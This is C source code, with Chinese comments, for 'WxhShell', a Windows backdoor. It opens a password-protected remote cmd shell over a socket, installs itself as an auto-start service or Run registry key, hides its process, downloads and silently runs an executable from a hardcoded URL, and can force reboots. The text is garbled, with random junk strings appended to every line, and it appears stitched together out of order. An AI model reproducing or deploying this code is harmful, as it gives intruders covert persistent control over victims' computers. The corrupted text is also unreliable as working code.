    send(wsh,msg_ws_err,strlen(msg_ws_err),0); P1 7>6)a  
    else { om".j  
    closesocket(wsh); [j:}=:feQ  
    ExitThread(0); ]r/(n]=(  
    } v:veV.y  
    break; f.b8ZBNj>  
    } 4Q$j]U&b  
  // 获取shell ?JXBWB4  
  case 's': { 670J{b  
    CmdShell(wsh); q)K-vt)98  
    closesocket(wsh); OH$ F >wO  
    ExitThread(0); eW%L$I  
    break; bK$/,,0=X/  
  } JHvFIo   
  // 退出 j<l#qho{h  
  case 'x': { 8qFUYZtY  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 69[V <1  
    CloseIt(wsh); -O~C m}e  
    break; yfSiByU  
    } DC$7B`#D  
  // 离开 <S\;k@f  
  case 'q': { wUru1_zjO  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); Ud>`@2  
    closesocket(wsh); ee&nU(pK  
    WSACleanup(); $xRo<,OV+  
    exit(1); zQL!(2  
    break; UfK4eZx*`  
        } 0M#N=%31  
  } nmD1C_&  
  } CDQJ bvx  
I;Al? &uw  
  // 提示信息 -@%t"8  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); U9<_6Bsd  
} _-@ZOhw&  
  } *C4~}4WT\  
q?;N7P  
  return; I6K7!+;2  
} ,pDp>-vI%  
3 R5%N ~  
// shell模块句柄 lp:_H-sG  
int CmdShell(SOCKET sock) 5h|'DO x|o  
{ ,3VG.u;U   
STARTUPINFO si; <WM -@J(1  
ZeroMemory(&si,sizeof(si)); x9xzm5  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; DgDSVFk ~  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 2-8YSHlh  
PROCESS_INFORMATION ProcessInfo; .HyjL5r-  
char cmdline[]="cmd"; }Q`/K;yq  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); nnfY$&3A  
  return 0; v$t{o{3  
} 2yl6~(JC+  
_n< LVd E  
// 自身启动模式 >lA7*nn  
int StartFromService(void) ?D1x;i9<  
{ +DicP"~*  
typedef struct gb]h OB7g  
{ CHPL>'NJzc  
  DWORD ExitStatus; lP}od  
  DWORD PebBaseAddress; S#P+B*v  
  DWORD AffinityMask; (YAI,Xnw  
  DWORD BasePriority; D4AEZgC F,  
  ULONG UniqueProcessId; hA@zoIoe  
  ULONG InheritedFromUniqueProcessId; ])N|[|$  
}   PROCESS_BASIC_INFORMATION; sk#9x`Rw  
jz %;4e~t  
PROCNTQSIP NtQueryInformationProcess; nA>*IU[  
:L]-'\y  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; / pO{2[  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; K1;z Mh  
|$M@09,F"  
  HANDLE             hProcess; !-KCFMvT  
  PROCESS_BASIC_INFORMATION pbi; '!pAnsXfO  
vkd *ER^  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 6e,Apj 0  
  if(NULL == hInst ) return 0; ; Zh9^0  
buRhQ"  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); n49;Z,[~  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ?x:m;z/  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); S2Zx &D/_  
!)NYW4"  
  if (!NtQueryInformationProcess) return 0; Dz,uS nnm  
\^yXc*C  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); D=2~37CzQ1  
  if(!hProcess) return 0; <H<!ht%q3  
\.5F](:  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; YQN.Ohtv*F  
j0AwL7  
  CloseHandle(hProcess); L?C\Q^0"`G  
!syU]Yk  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); a/#+92C  
if(hProcess==NULL) return 0; NK8<= n%"  
jz|VF,l  
HMODULE hMod; Cm^Yl p  
char procName[255]; 2>g^4(  
unsigned long cbNeeded; 7@JjjV  
vxb@9 eb!H  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); B i'd5B5  
{&E?<D2_&  
  CloseHandle(hProcess); wc"9A~  
u',b1 3g(  
if(strstr(procName,"services")) return 1; // 以服务启动 5;}2[3}[  
M Z2^@It  
  return 0; // 注册表启动 Ys-^7 y_  
} -jFP7tEv  
`4_c0 q)N4  
// 主模块 B\f"Iirw  
int StartWxhshell(LPSTR lpCmdLine) g- XKP  
{ N5yJ'i~,M  
  SOCKET wsl; >A<Df  
BOOL val=TRUE; =`JW1dM  
  int port=0; cbfD B^_  
  struct sockaddr_in door; ;;M"hI3@  
46ILs1T6  
  if(wscfg.ws_autoins) Install(); ;"D~W#0-v  
>8%M*-=p  
port=atoi(lpCmdLine); ^ s=*J=k  
lHcA j{6  
if(port<=0) port=wscfg.ws_port; <&`:&7  
WX LK89ev\  
  WSADATA data; ka/nQ~_#<  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; [8.-(-/;  
I4ebkPgf  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   36nyu_h:R  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); $_wo6/J5+D  
  door.sin_family = AF_INET; {aoM JJq  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 0fA=_=A,  
  door.sin_port = htons(port); k; ;viT  
fSbS(a  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { '(tj[&aL  
closesocket(wsl); @`6}`k  
return 1; X6'H`E[  
}  e#1.T  
alV dQfu  
  if(listen(wsl,2) == INVALID_SOCKET) { 3EI]bmi~  
closesocket(wsl); as(;]  
return 1; \Yd4gaY\o  
} P:qz2Hw  
  Wxhshell(wsl); nX)f'[ 7  
  WSACleanup(); g@Ld"5$^2  
&Bm&i.r  
return 0; 02(h={  
BGN9, ii  
} qIz}$%!A  
*Z >  
// 以NT服务方式启动 9j0o&Xn  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) CG.,/]_  
{ S"Kq^DN  
DWORD   status = 0; f9a$$nb3`  
  DWORD   specificError = 0xfffffff; >otJF3zw   
7LfcF  
  serviceStatus.dwServiceType     = SERVICE_WIN32; iKhH^V%j  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; *Z; r B  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; HAd%k$Xu{  
  serviceStatus.dwWin32ExitCode     = 0; `UQEXoB)  
  serviceStatus.dwServiceSpecificExitCode = 0; 1 =^  
  serviceStatus.dwCheckPoint       = 0; sCkO0dl8  
  serviceStatus.dwWaitHint       = 0; (vnoP< 0  
Cs#w72N  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); JYQ.EAsr!  
  if (hServiceStatusHandle==0) return; )nOE 8y/  
] opto  
status = GetLastError(); &atyDFJ'  
  if (status!=NO_ERROR) Q(e{~ ]*  
{ (xu=%  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; C B/r]+4  
    serviceStatus.dwCheckPoint       = 0; J+|/-{g  
    serviceStatus.dwWaitHint       = 0; -x{&an=  
    serviceStatus.dwWin32ExitCode     = status; 6A?8tm/0  
    serviceStatus.dwServiceSpecificExitCode = specificError; F\-Si!~oOz  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); ]+ZM/'X  
    return; hl<y4y&|  
  } r%|A$=[Q  
W+\?~L.  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; `c9'0*-  
  serviceStatus.dwCheckPoint       = 0; M$H`^Pv  
  serviceStatus.dwWaitHint       = 0; cJ2PI  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); Mb.4J2F?  
} +(&|uq^  
XhN{S]Wn  
// 处理NT服务事件,比如:启动、停止 </=3g>9Z  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 5{X*a  
{ `7\H41%\pp  
switch(fdwControl) A? r^V2+j  
{ X$^JAZ09  
case SERVICE_CONTROL_STOP: VX!hv`E  
  serviceStatus.dwWin32ExitCode = 0; :BD>yOlG  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; /tZ0 |B(  
  serviceStatus.dwCheckPoint   = 0; -?z\5 z  
  serviceStatus.dwWaitHint     = 0; @$c!/  
  { JD*8@N  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); N 2Ssf$  
  } >Nh`rkR2[  
  return; = ^s$ <  
case SERVICE_CONTROL_PAUSE: c0ZaFJ  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; N&m_e)E5c  
  break; lE'wfUb  
case SERVICE_CONTROL_CONTINUE: )~dOmfw%|  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; PS}73Y#  
  break; {OP~8e"  
case SERVICE_CONTROL_INTERROGATE: 6.19g'{sB  
  break; 1qZG`Vz  
}; NO4Z"3Pd_  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); O:YJ%;w  
} ZLrHZhP-+  
GW/WUzK  
// 标准应用程序主函数 r]T0+oQ>  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) T,OS0;7O  
{ !^?qU;|  
RG1\=J$:E  
// 获取操作系统版本 CN\=9Rvs  
OsIsNt=GetOsVer(); yb?|Eww_o  
GetModuleFileName(NULL,ExeFile,MAX_PATH); l'uOORI  
V:Mk)8Gf|  
  // 从命令行安装 `tVy_/3(9  
  if(strpbrk(lpCmdLine,"iI")) Install(); UP8{5fx'  
9.s,:?5e  
  // 下载执行文件 l9J*um-  
if(wscfg.ws_downexe) { #U"1 9@|}  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) NzlAC  
  WinExec(wscfg.ws_filenam,SW_HIDE); hZU 1O  
} kceyuD$3G  
]r959+\$  
if(!OsIsNt) { 8UM0vNk  
// 如果时win9x,隐藏进程并且设置为注册表启动 n NQ-"t  
HideProc(); ShGp^xVj  
StartWxhshell(lpCmdLine); ) EXJ   
} ]0-<>  
else vQHpf>o  
  if(StartFromService()) QNg\4%  
  // 以服务方式启动 FmD +8=  
  StartServiceCtrlDispatcher(DispatchTable); VB"(9O]  
else iRve)   
  // 普通方式启动 ix*muVBj.  
  StartWxhshell(lpCmdLine); tvpN/p  
x7$ax79ly  
return 0; " " %#cDR  
} LGVlc@0'  
|,sM ST%  
$^h?:L:1n  
ArXl=s';s4  
=========================================== t9` Ed>a  
Ct!S Tk[2  
!*vBW/  
vD26;S.y[a  
x{hn2]6+eB  
l1r_b68  
" 9/3;{`+[a  
d.r Y-k  
#include <stdio.h> JA6";fl;  
#include <string.h> :<utq|#s  
#include <windows.h> IU9, (E  
#include <winsock2.h> "+h/-2rA  
#include <winsvc.h> 1~Mn'O%  
#include <urlmon.h> y6%<zhs  
#PFO]j!_b  
#pragma comment (lib, "Ws2_32.lib") D^?_"wjW  
#pragma comment (lib, "urlmon.lib") Pa&4)OD  
u)~s4tP4  
#define MAX_USER   100 // 最大客户端连接数 9rcI+q=E  
#define BUF_SOCK   200 // sock buffer lT,+bU  
#define KEY_BUFF   255 // 输入 buffer >r}Vf9 5[N  
]sL45k2W  
#define REBOOT     0   // 重启 BS2?!;,8  
#define SHUTDOWN   1   // 关机 N!c gN  
ChE_unw  
#define DEF_PORT   5000 // 监听端口 +tU Q  
w}`3 d@  
#define REG_LEN     16   // 注册表键长度 hSMV&Cs  
#define SVC_LEN     80   // NT服务名长度 7'eh)[T  
u-.L^!k  
// 从dll定义API '[f Zt#  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); c<jB6|.=2  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); /gw Cwyo  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); i@,]Z~]  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); T4GW1NP  
N`1r;%5  
// wxhshell配置信息 ( 3;`bvYH"  
struct WSCFG { P']Y( !L  
  int ws_port;         // 监听端口 *rf$>8~$n  
  char ws_passstr[REG_LEN]; // 口令 aR)?a;}H  
  int ws_autoins;       // 安装标记, 1=yes 0=no *Hunp Y  
  char ws_regname[REG_LEN]; // 注册表键名 \ja `c)x  
  char ws_svcname[REG_LEN]; // 服务名 GYoseqZM  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 .'lN4x  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 3dm'xe tM  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 Ef,Cd[]b  
int ws_downexe;       // 下载执行标记, 1=yes 0=no ~ 5"J(  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" [h HG .  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 jVYH;B%%z  
w+_Wc~f  
}; 7#pZa.B)k  
Funj!x'uE  
// default Wxhshell configuration j@v-|  
struct WSCFG wscfg={DEF_PORT, TQ'e  
    "xuhuanlingzhe", 7cw]v"iv  
    1, KB+]eI-h  
    "Wxhshell", o](.368+4  
    "Wxhshell", Euu ,mleM  
            "WxhShell Service", `%y5\!X  
    "Wrsky Windows CmdShell Service", SRf5W'4y  
    "Please Input Your Password: ", H\+-cvl  
  1, !01i%W'  
  "http://www.wrsky.com/wxhshell.exe", h8.FX-0& =  
  "Wxhshell.exe" eP= j.$  
    }; _}ele+  
{D,RU8&  
// 消息定义模块 l%<c6;  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 6LM9e0oxy  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 9v~5qv;  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 8 u:2,l  
char *msg_ws_ext="\n\rExit."; oMc1:=EG  
char *msg_ws_end="\n\rQuit."; 40.AM1Z0f  
char *msg_ws_boot="\n\rReboot..."; %nQmFIt  
char *msg_ws_poff="\n\rShutdown..."; %3G;r\|r]  
char *msg_ws_down="\n\rSave to "; P) 1 EA;  
sX'nn   
char *msg_ws_err="\n\rErr!"; *#h;c1aP  
char *msg_ws_ok="\n\rOK!"; ]^ 'ZiyJX  
Q52 bh'cuU  
char ExeFile[MAX_PATH]; kzi|$Gs<  
int nUser = 0; SRWg[H  
HANDLE handles[MAX_USER]; -*3(a E  
int OsIsNt; \EI#az=I  
"L@g3g?|`  
SERVICE_STATUS       serviceStatus; 5^2TfG9  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; bQ.nFa']  
qZbHMTnT6  
// 函数声明 Ja [#[BJ?  
int Install(void); X6kaL3L}  
int Uninstall(void); |Puj7Ru  
int DownloadFile(char *sURL, SOCKET wsh); 0jTMZ<&zZ  
int Boot(int flag); =|V" #3$f  
void HideProc(void); e& Rb  
int GetOsVer(void); vgAFuQi(  
int Wxhshell(SOCKET wsl); Cuv|6t75'  
void TalkWithClient(void *cs);  XhA4:t  
int CmdShell(SOCKET sock); B5`;MQJ  
int StartFromService(void); rr )/`Kmv%  
int StartWxhshell(LPSTR lpCmdLine); u){S$</  
~U%j{8uH  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); `]{Psc6_=  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); ,`)OEI|1d  
kf K[u/<i  
// 数据结构和表定义 :rmauKR  
SERVICE_TABLE_ENTRY DispatchTable[] = 4(|yD;  
{ 0BDS_Rx  
{wscfg.ws_svcname, NTServiceMain}, pVz*ZQ[]  
{NULL, NULL} PWG;&ma  
}; 7LdzZS0OM  
fTgbF{?xh  
// 自我安装 }4KW@L[g  
int Install(void) zbg+6qs})  
{ 8Fx]koP.  
  char svExeFile[MAX_PATH]; mu>] 9ZW  
  HKEY key; A]xCF{*)&  
  strcpy(svExeFile,ExeFile); . s-5N\  
xB,/dMdTj  
// 如果是win9x系统,修改注册表设为自启动 e5L 1er;6  
if(!OsIsNt) { iAHZ0Du  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { DaDUK?  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); yxY h?ka  
  RegCloseKey(key); nl9kYE [  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { c(&AnIlS  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); |*1xrM:v~  
  RegCloseKey(key); 1tyNRoET  
  return 0; Om6Mmoqh  
    } niAZ$w  
  } 5p{25N_t  
} #G~wE*VR$  
else { RNe9h lr  
Gym#b{#":  
// 如果是NT以上系统,安装为系统服务 Ys%'#f  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); t%HI1eO7h  
if (schSCManager!=0) z L8J`W  
{ kyu2)L2u  
  SC_HANDLE schService = CreateService !mae^A1  
  ( B,MQ.|s[  
  schSCManager, P eHW[\)  
  wscfg.ws_svcname, C (U  
  wscfg.ws_svcdisp, `GS cRhbh  
  SERVICE_ALL_ACCESS, W1`Dx(g  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , B'#4;R!8P=  
  SERVICE_AUTO_START, iLQSa7  
  SERVICE_ERROR_NORMAL, ->3uOF!q  
  svExeFile, F {/>u(@3  
  NULL, !G[f[u4Zg  
  NULL, *?p ^6vO  
  NULL, $r):d  
  NULL, Lz?*B$h  
  NULL 6"%@ L{UQ  
  ); Z,SY N?@  
  if (schService!=0) (H2ylMpQt  
  { iel-<(~   
  CloseServiceHandle(schService); 6N?#b66  
  CloseServiceHandle(schSCManager); ?N`qLGRm  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); ",QYDFFeF  
  strcat(svExeFile,wscfg.ws_svcname); @o60 c  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ?0uOR *y'  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ot0U-G(  
  RegCloseKey(key); ovbEmb  
  return 0; +\srZ<67  
    } 3jXR"@Z-  
  } J ZA*{n2  
  CloseServiceHandle(schSCManager); e|JIrOnc  
} e) ]RA?bF  
} pbPz$Y  
G~S))p  
return 1; dD o6fP2  
} i`R(7Z  
^K"ZJ6?+1  
// 自我卸载 :q(D(mK  
int Uninstall(void) B_!wutV@  
{ 'OG{*TDPu  
  HKEY key; NtqFnxm/  
&jt02+Hj'  
if(!OsIsNt) { x ~wNO/  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 3`x sK[  
  RegDeleteValue(key,wscfg.ws_regname); jmSt?M0.xV  
  RegCloseKey(key); z+ uL "PG[  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { }'PG!+=I  
  RegDeleteValue(key,wscfg.ws_regname); ]W+)ee|D  
  RegCloseKey(key); & \JLTw  
  return 0; K[*h+YO  
  } e~3]/BL  
} 40R"^*  
} \|blRm;  
else { WFRsSp2  
~m!#FTc*  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); :MK:TJV  
if (schSCManager!=0) R9Ldl97'  
{ #t){4J  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); )y(oHRCp->  
  if (schService!=0) &<`-:x12_  
  { u2 Y N[|V  
  if(DeleteService(schService)!=0) { 1>hb-OMX  
  CloseServiceHandle(schService); hH#lTye  
  CloseServiceHandle(schSCManager); pa> p%  
  return 0; tc"T}huypU  
  } EG%I1F%  
  CloseServiceHandle(schService); Kq$:\B)<c  
  } j,\tejl1  
  CloseServiceHandle(schSCManager); N`f!D>b:dn  
} KuIkul9^%  
} h>~jQ&\M  
y:~eU  
return 1; EK^JLvyT  
} s;anP0-O  
O5u cI$s  
// 从指定url下载文件 u$apH{  
int DownloadFile(char *sURL, SOCKET wsh) %B[YtWqm`/  
{ Tc9&mKVE%(  
  HRESULT hr; ,?Ok[G!cm  
char seps[]= "/"; TFNUv<>X  
char *token; j[_t6Z  
char *file; )uANmThOz  
char myURL[MAX_PATH]; _L8Mpx*E  
char myFILE[MAX_PATH]; C(f$!~M4b  
_c[|@D  
strcpy(myURL,sURL); 3xRM 1GgO  
  token=strtok(myURL,seps); n/xXQ7y  
  while(token!=NULL) 3Wjq>\  
  { km9Gwg/zT  
    file=token; 5BrU'NF  
  token=strtok(NULL,seps); lq~Gc M  
  } B.V?s,U  
>s;oOo+5  
GetCurrentDirectory(MAX_PATH,myFILE); iz Xbp02  
strcat(myFILE, "\\"); ${wU+E*  
strcat(myFILE, file); Y,3z-Pa=@  
  send(wsh,myFILE,strlen(myFILE),0); :8](&B68gE  
send(wsh,"...",3,0); @m5O{[euj<  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); (}9cD^F0n  
  if(hr==S_OK) F(J\ctha  
return 0;  -PcS(  
else Cw6>^  
return 1; n>u.3w L  
wYZy e^7  
} W/b"a?wE{  
s.f`.o  
// 系统电源模块 d&/^34gn  
int Boot(int flag) )C'G2RV  
{ j kSc&  
  HANDLE hToken; kTr6{9L  
  TOKEN_PRIVILEGES tkp;  -0{T  
PthId aN@  
  if(OsIsNt) { `)0Rv|?  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); or?0PEx\  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); t8L<x  
    tkp.PrivilegeCount = 1; KDux$V4  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; += X).X0K  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); v]B0!k&4.  
if(flag==REBOOT) { ~sZqa+jB0  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) Mi;}.K0J  
  return 0; =6.8bZT\  
} qlz( W  
else { 83mlZ1jQz  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) NYWG#4D  
  return 0; kA?X^nj@  
} $Sp*)A]E`  
  } I8 %d;G~  
  else { N!tpzHXw  
if(flag==REBOOT) { jjJc1p0  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) @WhZx*1  
  return 0; k)?,xY\AV  
} &?P=arU  
else { O<}ep)mr  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) }wvwZ`5t  
  return 0; hubfK~  
} 9V|E1-")E  
} SZCF3m&pz  
aO~s i=  
return 1; %1Vu=zCAW  
} v[0DE*p  
E"Ya-8d=  
// win9x进程隐藏模块 Xjs21-t%  
void HideProc(void) + AE&GU  
{ )2iM<-uB  
ygmv_YLjm  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); k! J4Z ${k  
  if ( hKernel != NULL ) eXj\DjttG}  
  { \(.nPW]9  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 0_YxZS\  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); BP)q6?Mz  
    FreeLibrary(hKernel); 9oZ } h&  
  } BSx j~pun  
1Z^`l6|2  
return; 4M;sD;3  
} tQNk=}VR7r  
[W^6u7~  
// 获取操作系统版本 d$2@,  
int GetOsVer(void) >yV)d/  
{ ]_^"|RJ  
  OSVERSIONINFO winfo; R`0foSq \M  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); />dB%*  
  GetVersionEx(&winfo); r1[E{Tpz  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) RB S[*D  
  return 1; GM)\)\kNF  
  else 3::3r}g  
  return 0; DhtU]w}  
} h(C#\{V  
{] t\`fjrg  
// 客户端句柄模块 LK'S)Jk  
int Wxhshell(SOCKET wsl) fhBO~o+K>  
{ K7 t&fDI  
  SOCKET wsh; mF6@Y[/B  
  struct sockaddr_in client; *G%1_   
  DWORD myID; !ol hZ  
e5*5.AB6&  
  while(nUser<MAX_USER) 9f\aoVX  
{ bE7(L $UF  
  int nSize=sizeof(client); `c qH}2s#  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); nx!qCgo  
  if(wsh==INVALID_SOCKET) return 1; e67c:Z  
AijPN  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); =yk Rki  
if(handles[nUser]==0) R-r+=x&  
  closesocket(wsh); 4*p_s8> >  
else 9%p7B~}E  
  nUser++; !$:0E y(S  
  } M iP[UCh  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); d1srV`  
otmIu`h  
  return 0; b xk'a,!S  
} ^@|<'g.R-  
>< <$  
// 关闭 socket <GL}1W"Ay  
void CloseIt(SOCKET wsh) ql#{=oGDnA  
{ [?|l X$<  
closesocket(wsh); TTA{#[=7  
nUser--; d&PE,$XC  
ExitThread(0); ImUQ*0  
} "4Vi=*2V  
/t$+Af,}  
// 客户端请求句柄 htUy2v#V  
void TalkWithClient(void *cs) h/0<:eZ*  
{ .c=$ bQ>^  
_1w.B8Lyz@  
  SOCKET wsh=(SOCKET)cs; E)&NP}k-P  
  char pwd[SVC_LEN]; !#,-  
  char cmd[KEY_BUFF]; 8!`7-  
char chr[1]; 'Yaf\Hp  
int i,j; &X#x9|=&O  
[M7iJcwt  
  while (nUser < MAX_USER) {  |0C|$2  
Z`-)1!  
if(wscfg.ws_passstr) { ^F0k2pB  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 2- Npw%;  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); j:rs+1bc  
  //ZeroMemory(pwd,KEY_BUFF); "W?l R4  
      i=0; OBKC$e6I  
  while(i<SVC_LEN) { vxbH^b  
}<5\O*kX4  
  // 设置超时 b:}wR*Adc  
  fd_set FdRead; /I`cS%U  
  struct timeval TimeOut; ?YkO+?}+  
  FD_ZERO(&FdRead); "xvV'&lQ  
  FD_SET(wsh,&FdRead); sUyCAKebRr  
  TimeOut.tv_sec=8; 2-"Lxe65f  
  TimeOut.tv_usec=0; z) ]BV=  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); |!4B Wt  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); s]nGpA[!  
C;58z 5*,  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Q8}TNJsU  
  pwd=chr[0]; )E[ Q  
  if(chr[0]==0xd || chr[0]==0xa) { F- !}dzO  
  pwd=0; *7xQp!w^  
  break; +YQ)}v  
  } #"=yQZ6Y  
  i++; MYDf`0{$_a  
    } (x1"uy7_  
k$$S!qi#  
  // 如果是非法用户,关闭 socket 0] :*v?  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); J-eA,9J  
} 9:CVN@E  
~ X]"P4 u  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); Gg}LC+Y  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ~L \(/[  
H649J)v+m  
while(1) { evndw>  
t(z(-G|&  
  ZeroMemory(cmd,KEY_BUFF); ^V XXq  
n7`.<*:  
      // 自动支持客户端 telnet标准   Sq?6R}q%  
  j=0; >n$E e J  
  while(j<KEY_BUFF) { IxEQh)J X  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); k"DQbUy0L  
  cmd[j]=chr[0]; $X.'W\o|  
  if(chr[0]==0xa || chr[0]==0xd) { (zM+7tJH  
  cmd[j]=0; 43}&w.AS  
  break; (<> Sz(  
  } C~ }Wo5  
  j++; xdbu|fC  
    } WoClTb>F  
-Iruua7b  
  // 下载文件 8CnvvMf  
  if(strstr(cmd,"http://")) { 2t]! {L  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); X*>o9J45V  
  if(DownloadFile(cmd,wsh)) \DcC1W  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); %b>y  
  else X."h Tha5  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); dp//p)B>  
  } G8 <It5CU  
  else { =B o4yN  
P60]ps!M  
    switch(cmd[0]) { d9[6kQ]  
  _,K>u6N&  
  // 帮助 Ro3I/NI>  
  case '?': { HhQPgjZ/  
